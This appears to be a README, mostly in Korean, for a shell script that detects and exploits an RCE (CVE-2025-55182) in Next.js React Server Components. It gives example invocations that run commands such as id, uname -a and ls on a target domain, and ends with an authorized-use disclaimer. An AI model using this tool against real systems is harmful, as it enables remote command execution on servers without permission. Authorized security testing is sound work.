
Next.js 애플리케이션에서 CVE-2025-55182(React Server Components RCE)를 탐지하고 악용하기 위한 간단한 명령줄 도구입니다.

chmod +x scanner.sh
# Scan with default command (id)
./scanner.sh -d example.com
# Execute custom command
./scanner.sh -d example.com -c "whoami"
# With full URL
./scanner.sh -d https://example.com -c "uname -a"
-d, --domain - 대상 도메인/URL (필수)-c, --command - 실행할 명령어 (기본값: id)# Check if target is vulnerable
./scanner.sh -d vulnerable-app.com
# Get system information
./scanner.sh -d vulnerable-app.com -c "uname -a"
# List files
./scanner.sh -d vulnerable-app.com -c "ls -la /tmp"
이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트 권한이 없는 시스템에는 사용하지 마십시오.